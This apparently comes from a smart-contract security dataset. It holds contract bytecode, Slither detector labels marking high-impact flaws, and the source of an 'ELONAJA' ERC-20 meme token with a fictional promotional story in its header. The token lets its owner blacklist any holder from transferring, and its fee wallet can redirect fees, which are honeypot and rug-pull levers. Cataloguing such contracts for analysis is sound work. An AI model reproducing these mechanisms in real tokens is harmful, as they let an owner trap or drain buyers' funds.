509c505050505050505091939550919395565b6000612e3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612384565b905092915050565b6000808284612e519190613d21565b905083811015612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d906141e0565b60405180910390fd5b8091505092915050565b6000612eaa612a0e565b90506000612ec1828461260c90919063ffffffff16565b9050612f1581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e4290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612f7282600654612df890919063ffffffff16565b600681905550612f8d81600754612e4290919063ffffffff16565b6007819055505050565b60008060008060008611612fac576001612fae565b855b90506000808611612fc0576001612fc2565b855b90506000612fec6064612fde858c61260c90919063ffffffff16565b61268790919063ffffffff16565b905060006130166064613008858d61260c90919063ffffffff16565b61268790919063ffffffff16565b9050600061303f82613031858e612df890919063ffffffff16565b612df890919063ffffffff16565b9050808383975097509750505050505093509350939050565b600080600080613071858961260c90919063ffffffff16565b90506000613088868961260c90919063ffffffff16565b9050600061309f878961260c90919063ffffffff16565b905060006130c8826130ba8587612df890919063ffffffff16565b612df890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561311b578082015181840152602081019050613100565b8381111561312a576000848401525b50505050565b6000601f19601f8301169050919050565b600061314c826130e1565b61315681856130ec565b93506131668185602086016130fd565b61316f81613130565b840191505092915050565b600060208201905081810360008301526131948184613141565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131db826131b0565b9050919050565b6131eb816131d0565b81146131f657600080fd5b50565b600081359050613208816131e2565b92915050565b6000819050919050565b6132218161320e565b811461322c57600080fd5b50565b60008135905061323e81613218565b92915050565b6000806040838503121561325b5761325a6131a6565b5b6000613269858286016131f9565b925050602061327a8582860161322f565b9150509250929050565b60008115159050919050565b61329981613284565b82525050565b60006020820190506132b46000830184613290565b92915050565b6132c38161320e565b82525050565b60006020820190506132de60008301846132ba565b92915050565b6000806000606084860312156132fd576132fc6131a6565b5b600061330b868287016131f9565b935050602061331c868287016131f9565b925050604061332d8682870161322f565b9150509250925092565b60006020828403121561334d5761334c6131a6565b5b600061335b848285016131f9565b91505092915050565b60006020828403121561337a576133796131a6565b5b60006133888482850161322f565b91505092915050565b600060ff82169050919050565b6133a781613391565b82525050565b60006020820190506133c2600083018461339e565b92915050565b6133d181613284565b81146133dc57600080fd5b50565b6000813590506133ee816133c8565b92915050565b60006020828403121561340a576134096131a6565b5b6000613418848285016133df565b91505092915050565b61342a816131d0565b82525050565b60006020820190506134456000830184613421565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61348882613130565b810181811067ffffffffffffffff821117156134a7576134a6613450565b5b80604052505050565b60006134ba61319c565b90506134c6828261347f565b919050565b600067ffffffffffffffff8211156134e6576134e5613450565b5b602082029050602081019050919050565b600080fd5b600061350f61350a846134cb565b6134b0565b90508083825260208201905060208402830185811115613532576135316134f7565b5b835b8181101561355b578061354788826131f9565b845260208401935050602081019050613534565b5050509392505050565b600082601f83011261357a5761357961344b565b5b813561358a8482602086016134fc565b91505092915050565b6000602082840312156135a9576135a86131a6565b5b600082013567ffffffffffffffff8111156135c7576135c66131ab565b5b6135d384828501613565565b91505092915050565b600080604083850312156135f3576135f26131a6565b5b6000613601858286016131f9565b9250506020613612858286016131f9565b9150509250929050565b6000613627826131b0565b9050919050565b6136378161361c565b811461364257600080fd5b50565b6000813590506136548161362e565b92915050565b6000602082840312156136705761366f6131a6565b5b600061367e84828501613645565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136bd6020836130ec565b91506136c882613687565b602082019050919050565b600060208201905081810360008301526136ec816136b0565b9050919050565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b6000613729601b836130ec565b9150613734826136f3565b602082019050919050565b600060208201905081810360008301526137588161371c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006137c88261320e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137fb576137fa61378e565b5b600182019050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b600061383c601d836130ec565b915061384782613806565b602082019050919050565b6000602082019050818103600083015261386b8161382f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006138a86017836130ec565b91506138b382613872565b602082019050919050565b600060208201905081810360008301526138d78161389b565b9050919050565b60006040820190506138f36000830185613421565b61390060208301846132ba565b9392505050565b600081519050613916816133c8565b92915050565b600060208284031215613932576139316131a6565b5b600061394084828501613907565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006139a56026836130ec565b91506139b082613949565b604082019050919050565b600060208201905081810360008301526139d481613998565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613a376024836130ec565b9150613a42826139db565b604082019050919050565b60006020820190508181036000830152613a6681613a2a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ac96022836130ec565b9150613ad482613a6d565b604082019050919050565b60006020820190508181036000830152613af881613abc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613b5b6025836130ec565b9150613b6682613aff565b604082019050919050565b60006020820190508181036000830152613b8a81613b4e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613bed6023836130ec565b9150613bf882613b91565b604082019050919050565b60006020820190508181036000830152613c1c81613be0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613c7f6029836130ec565b9150613c8a82613c23565b604082019050919050565b60006020820190508181036000830152613cae81613c72565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6000613ceb6011836130ec565b9150613cf682613cb5565b602082019050919050565b60006020820190508181036000830152613d1a81613cde565b9050919050565b6000613d2c8261320e565b9150613d378361320e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d6c57613d6b61378e565b5b828201905092915050565b7f537761702064697361626c656400000000000000000000000000000000000000600082015250565b6000613dad600d836130ec565b9150613db882613d77565b602082019050919050565b60006020820190508181036000830152613ddc81613da0565b9050919050565b6000613dee8261320e565b9150613df98361320e565b925082821015613e0c57613e0b61378e565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613e73602a836130ec565b9150613e7e82613e17565b604082019050919050565b60006020820190508181036000830152613ea281613e66565b9050919050565b6000613eb48261320e565b9150613ebf8361320e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ef857613ef761378e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f3d8261320e565b9150613f488361320e565b925082613f5857613f57613f03565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613fbf6021836130ec565b9150613fca82613f63565b604082019050919050565b60006020820190508181036000830152613fee81613fb2565b9050919050565b600081519050614004816131e2565b92915050565b6000602082840312156140205761401f6131a6565b5b600061402e84828501613ff5565b91505092915050565b6000819050919050565b6000819050919050565b600061406661406161405c84614037565b614041565b61320e565b9050919050565b6140768161404b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6140b1816131d0565b82525050565b60006140c383836140a8565b60208301905092915050565b6000602082019050919050565b60006140e78261407c565b6140f18185614087565b93506140fc83614098565b8060005b8381101561412d57815161411488826140b7565b975061411f836140cf565b925050600181019050614100565b5085935050505092915050565b600060a08201905061414f60008301886132ba565b61415c602083018761406d565b818103604083015261416e81866140dc565b905061417d6060830185613421565b61418a60808301846132ba565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006141ca601b836130ec565b91506141d582614194565b602082019050919050565b600060208201905081810360008301526141f9816141bd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c84d9566d955951bbbebe3117140e8e4999e3592b893d19be08147b4388a42d964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,317
0xfe42693c7cf1e8e7678c2b796f70569a8a1bfe70
/* https://t.me/elonaja Let’s bet on who's gonna win this duel. Elona was one of the most talented ninjas and assassins in the entire world and a founding member of the Starlink intelligence. As a child, she was indoctrinated into Tesla by General Musk. After the Cuban missile crisis, Elona developed a cautious attitude towards the USSR, later known as Russia Having extensive mastery in martial arts and armed with the highest technology provided by the STARLINK industries, Elona became one of Starlink intelligence's most efficient agents, using the title given by Musk as her codename, Elonaja. When Russia declared war on Ukraine. Elonaja was sent to Russia to operate the most secret mission. Before she left US, she declared “I hereby challenge Владимир Путин to single combat Stakes are Україна” https://t.me/elonaja */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ELONAJA is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"ELONAJA"; string public constant symbol = unicode"ELONAJA"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/3; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function initPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function startTrade() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeCollectionADD); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101dc5760003560e01c80636c58080111610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461053f578063dcb0e0ad14610554578063dd62ed3e14610574578063feb1dfcc146105ba57600080fd5b8063a9059cbb146104ca578063b2289c62146104ea578063b515566a1461050a578063c3c8cd801461052a57600080fd5b806373f54a11116100d157806373f54a111461046c5780638da5cb5b1461048c57806394b8d8f2146104aa57806395d89b41146101e857600080fd5b80636c5808011461040d5780636fc3eaec1461042257806370a0823114610437578063715018a61461045757600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038957806345596e2e1461039f57806349bd5a5e146103bf578063590f897e146103f757600080fd5b8063313ce567146102f357806331c2d8471461031a57806332d873d81461033a5780633bbac5791461035057600080fd5b806318160ddd116101b657806318160ddd146102835780631940d020146102a857806323b872dd146102be57806327f3a72a146102de57600080fd5b806306fdde03146101e8578063095ea7b3146102315780630b78f9c01461026157600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021b60405180604001604052806007815260200166454c4f4e414a4160c81b81525081565b6040516102289190611756565b60405180910390f35b34801561023d57600080fd5b5061025161024c3660046117d0565b6105cf565b6040519015158152602001610228565b34801561026d57600080fd5b5061028161027c3660046117fc565b6105e5565b005b34801561028f57600080fd5b50670de0b6b3a76400005b604051908152602001610228565b3480156102b457600080fd5b5061029a600c5481565b3480156102ca57600080fd5b506102516102d936600461181e565b61067a565b3480156102ea57600080fd5b5061029a6106ce565b3480156102ff57600080fd5b50610308600981565b60405160ff9091168152602001610228565b34801561032657600080fd5b50610281610335366004611875565b6106de565b34801561034657600080fd5b5061029a600d5481565b34801561035c57600080fd5b5061025161036b36600461193a565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039557600080fd5b5061029a60095481565b3480156103ab57600080fd5b506102816103ba366004611957565b61076a565b3480156103cb57600080fd5b506008546103df906001600160a01b031681565b6040516001600160a01b039091168152602001610228565b34801561040357600080fd5b5061029a600a5481565b34801561041957600080fd5b50610281610830565b34801561042e57600080fd5b50610281610a21565b34801561044357600080fd5b5061029a61045236600461193a565b610a2e565b34801561046357600080fd5b50610281610a49565b34801561047857600080fd5b5061028161048736600461193a565b610abd565b34801561049857600080fd5b506000546001600160a01b03166103df565b3480156104b657600080fd5b50600e546102519062010000900460ff1681565b3480156104d657600080fd5b506102516104e53660046117d0565b610b2b565b3480156104f657600080fd5b506007546103df906001600160a01b031681565b34801561051657600080fd5b50610281610525366004611875565b610b38565b34801561053657600080fd5b50610281610c51565b34801561054b57600080fd5b5061029a610c67565b34801561056057600080fd5b5061028161056f36600461197e565b610c7f565b34801561058057600080fd5b5061029a61058f36600461199b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105c657600080fd5b50610281610cfc565b60006105dc338484610f01565b50600192915050565b6000546001600160a01b031633146106185760405162461bcd60e51b815260040161060f906119d4565b60405180910390fd5b6009548210801561062a5750600a5481105b61063357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610687848484611025565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106b6908490611a1f565b90506106c3853383610f01565b506001949350505050565b60006106d930610a2e565b905090565b6007546001600160a01b0316336001600160a01b0316146106fe57600080fd5b60005b81518110156107665760006005600084848151811061072257610722611a36565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075e81611a4c565b915050610701565b5050565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161060f906119d4565b6007546001600160a01b0316336001600160a01b0316146107b457600080fd5b600081116107f45760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b604482015260640161060f565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161060f906119d4565b600e5460ff16156108a75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161060f565b6006546108c79030906001600160a01b0316670de0b6b3a7640000610f01565b6006546001600160a01b031663f305d71947306108e381610a2e565b6000806108f86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610960573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109859190611a67565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a029190611a95565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b47610a2b816113f3565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161060f906119d4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610add57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610825565b60006105dc338484611025565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161060f906119d4565b60005b81518110156107665760085482516001600160a01b0390911690839083908110610b9157610b91611a36565b60200260200101516001600160a01b031614158015610be2575060065482516001600160a01b0390911690839083908110610bce57610bce611a36565b60200260200101516001600160a01b031614155b15610c3f57600160056000848481518110610bff57610bff611a36565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c4981611a4c565b915050610b65565b6000610c5c30610a2e565b9050610a2b8161142d565b6008546000906106d9906001600160a01b0316610a2e565b6000546001600160a01b03163314610ca95760405162461bcd60e51b815260040161060f906119d4565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610825565b6000546001600160a01b03163314610d265760405162461bcd60e51b815260040161060f906119d4565b600e5460ff1615610d735760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161060f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc9190611ab2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d9190611ab2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ede9190611ab2565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060f565b6001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561104b57600080fd5b6001600160a01b0383166110af5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060f565b6001600160a01b0382166111115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060f565b600081116111735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060f565b600080546001600160a01b038581169116148015906111a057506000546001600160a01b03848116911614155b15611394576008546001600160a01b0385811691161480156111d057506006546001600160a01b03848116911614155b80156111f557506001600160a01b03831660009081526004602052604090205460ff16155b1561128757600e5460ff1661124c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161060f565b42600d5460f061125c9190611acf565b111561128357600c5461126e84610a2e565b6112789084611acf565b111561128357600080fd5b5060015b600e54610100900460ff161580156112a15750600e5460ff165b80156112bb57506008546001600160a01b03858116911614155b156113945760006112cb30610a2e565b9050801561137d57600e5462010000900460ff161561134e57600b5460085460649190611300906001600160a01b0316610a2e565b61130a9190611ae7565b6113149190611b06565b81111561134e57600b5460085460649190611337906001600160a01b0316610a2e565b6113419190611ae7565b61134b9190611b06565b90505b600061135b600383611b06565b90506113678183611a1f565b9150611372816115a1565b61137b8261142d565b505b47801561138d5761138d476113f3565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113d657506001600160a01b03841660009081526004602052604090205460ff165b156113df575060005b6113ec85858584866115d1565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610766573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147157611471611a36565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ee9190611ab2565b8160018151811061150157611501611a36565b6001600160a01b0392831660209182029290920101526006546115279130911684610f01565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611560908590600090869030904290600401611b28565b600060405180830381600087803b15801561157a57600080fd5b505af115801561158e573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115c3576115c33061dead83611025565b50600e805461ff0019169055565b60006115dd83836115f3565b90506115eb86868684611617565b505050505050565b600080831561161057821561160b5750600954611610565b50600a545b9392505050565b60008061162484846116f4565b6001600160a01b038816600090815260026020526040902054919350915061164d908590611a1f565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461167d908390611acf565b6001600160a01b03861660009081526002602052604090205561169f81611728565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e491815260200190565b60405180910390a3505050505050565b6000808060646117048587611ae7565b61170e9190611b06565b9050600061171c8287611a1f565b96919550909350505050565b30600090815260026020526040902054611743908290611acf565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561178357858101830151858201604001528201611767565b81811115611795576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a2b57600080fd5b80356117cb816117ab565b919050565b600080604083850312156117e357600080fd5b82356117ee816117ab565b946020939093013593505050565b6000806040838503121561180f57600080fd5b50508035926020909101359150565b60008060006060848603121561183357600080fd5b833561183e816117ab565b9250602084013561184e816117ab565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188857600080fd5b823567ffffffffffffffff808211156118a057600080fd5b818501915085601f8301126118b457600080fd5b8135818111156118c6576118c661185f565b8060051b604051601f19603f830116810181811085821117156118eb576118eb61185f565b60405291825284820192508381018501918883111561190957600080fd5b938501935b8285101561192e5761191f856117c0565b8452938501939285019261190e565b98975050505050505050565b60006020828403121561194c57600080fd5b8135611610816117ab565b60006020828403121561196957600080fd5b5035919050565b8015158114610a2b57600080fd5b60006020828403121561199057600080fd5b813561161081611970565b600080604083850312156119ae57600080fd5b82356119b9816117ab565b915060208301356119c9816117ab565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a3157611a31611a09565b500390565b634e487b7160